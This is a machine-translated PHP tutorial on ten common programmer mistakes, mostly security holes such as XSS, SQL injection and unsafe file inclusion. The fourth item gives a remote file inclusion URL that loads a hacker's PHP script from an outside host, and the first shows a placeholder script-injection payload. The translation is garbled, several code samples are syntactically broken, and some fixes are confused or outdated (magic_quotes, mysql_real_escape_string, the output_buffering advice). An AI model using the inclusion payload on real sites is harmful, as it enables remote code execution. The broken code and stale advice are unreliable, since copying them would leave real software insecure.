PHP Programmers must

PHP programmers are most likely to make 10 errors (turn)
PHP is a great web development language, flexible language, but see the PHP programmer repeatedly made some mistakes. I did the following list, listing the 10 bugs that PHP programmers often make, most of which are security related. Look how many you've made.

1. Does not turn to the Italian HTML entities

A basic common sense: all untrusted inputs (especially the data submitted by the user from form) should be transferred before the output.

echo $_get[' Usename '];

This example is likely to output:

<script>/* the script to change the admin password or set up a cookie script */</script>

This is an obvious security risk unless you guarantee that your users are entering it correctly.

How to FIX:

We need to convert "<", ">", "and" to the correct HTML representation (<, > ', and "), function Htmlspecialchars and htmlentities ().

The right approach:

echo htmlspecialchars ($_get[' username '), ent_quotes);

2. Do not turn to SQL input
I have discussed this problem in the simplest method of preventing SQL injection (PHP+MYSQL) in an article and given a simple method. Someone told me that they had set magic_quotes to on in php.ini, so don't worry about it, but not all of the inputs are from $_get, $_post or $_cookie!
How to FIX:

As in the simplest way to prevent SQL injection (PHP+MYSQL) I recommend using the mysql_real_escape_string () function

Correct procedure:
<?php
$sql = "UPDATE users SET
Name= '. mysql_real_escape_string ($name). '
WHERE id= '. mysql_real_escape_string ($id). ' ";
mysql_query ($sql);
?>

3. Incorrect use of Http-header related functions: Header (), Session_Start (), Setcookie ()
Ever come across this warning? " Warning:cannot Add header information-headers already sent [...]

Every time a Web page is downloaded from the server, the server's output is divided into two parts: the head and the body.
The head contains some non-visual data, such as cookies. The head always arrives first. The body section includes visual HTML, pictures, and other data.
If Output_buffering is set to OFF, all http-header-related functions must be called before the output is available. The problem is that you develop in one environment, and when you deploy to another environment, the output_buffering settings may not be the same. The result turned to stop and the cookie and session were not set correctly ...

How to FIX:
Make sure that the Http-header-related function is invoked before the output and that output_buffering = Off
。

4. Require or include files using unsafe data
Again: Do not believe that data is not explicitly declared by yourself. Do not Include or require files obtained from $_get, $_post, or $_cookie.

For example:
index.php
?
Including header, config, database connection, etc
Include ($_get[' filename ']);
including footer
?>

Now any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
To get your confidential information, or to execute a PHP script.

If Allow_url_fopen=on, you are dead:
Try this input:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

Now your Web page contains the http://www.youaredoomed.com/phphack.php output. Hackers can send spam messages, change passwords, delete files, and so on. As long as you can.

How to FIX:
You must control which files can be included in the include or require directives yourself.

Here's a quick but not-so-comprehensive workaround:
?
Include only the files that are allowed.
$allowedFiles = Array (' file1.txt ', ' file2.txt ', ' file3.txt ');
if (In_array (string) $_get[' filename '], $allowedFiles)) {
Include ($_get[' filename ']);
}
else{
Exit (' not allowed ');
}
?>

5. Grammatical errors
Grammatical errors, including all lexical and grammatical errors, are so common that I have to list them here. The solution is to learn the syntax of PHP carefully and not to omit a bracket, curly braces, semicolons, quotes. There is a good editor to change, do not use Notepad!

6. Rarely used or not object oriented
Many projects do not use the object-oriented technology of PHP, the result is that the maintenance of code is very time-consuming and consuming. With more and more object-oriented technologies supported by PHP, we have no reason not to use object-oriented objects.

7. Do not use the framework
95% of PHP projects are doing the same four things: Create, edit, list, and delete. Now there are a lot of MVC frameworks to help us accomplish these four things, why don't we use them?

8. Do not know what is already in PHP functions
The core of PHP contains many features. Many programmers repeat the invention of the wheel. Wasted a lot of time. Before coding the search for PHP mamual, on Google, you may have a new discovery! EXEC () in PHP is a powerful function that executes the CMD shell and returns the last line of execution as a string. The Escapeshellcmd () can be used for security reasons.

9. Using an older version of PHP

Many programmers are still using PHP4, in PHP4 development can not give full play to the potential of PHP, there are some security risks. Turn to PHP5, it doesn't cost a lot of effort. Most PHP4 programs can migrate to PHP5 as long as they have little or no change. According to Http://www.nexen.net's survey, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.

10. Make two turns to quotation marks

Have you seen the page "or \"? This is usually because magic_quotes is set to off in the developer's environment and Magic_quotes =on on the deployed server. PHP will repeatedly run Addslashes () on the data in Get, POST, and Cookie.
Original text:
It ' s A string

Magic Quotes on:
It\ ' s A string
Run once again
Addslashes ():
It\\ ' s A string

HTML output:
It\ ' s A string

There is also a situation, the user first entered the wrong login information, the server detected error input, the output of the same form requires users to input again, resulting in the user's input two times!